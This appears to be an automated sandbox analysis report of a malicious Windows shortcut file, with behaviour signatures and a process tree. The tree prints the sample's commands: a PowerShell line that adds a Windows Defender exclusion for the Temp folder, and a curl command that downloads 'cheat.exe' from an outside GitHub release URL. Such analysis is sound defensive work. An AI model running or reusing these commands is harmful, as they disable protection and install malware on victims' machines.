Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 23:59

General

  • Target
    Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
  • Size 1KB
  • Sample260808-31te3azzgx
  • SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 5 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\AssetExternal.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4464
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat" "
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:3216
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3336
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:2856
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3756
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1692
        • C:\Windows\system32\curl.exe
          curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
          3⤵
            PID:1800
          • C:\Windows\system32\timeout.exe
            timeout /t 2 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:2004
          • C:\Windows\system32\timeout.exe
            timeout /t 2 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:4792

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            __PSScriptPolicyTest_tdygqzru.df3.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tdygqzru.df3.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/1692-9-0x000001F1B43B0000-0x000001F1B43D2000-memory.dmp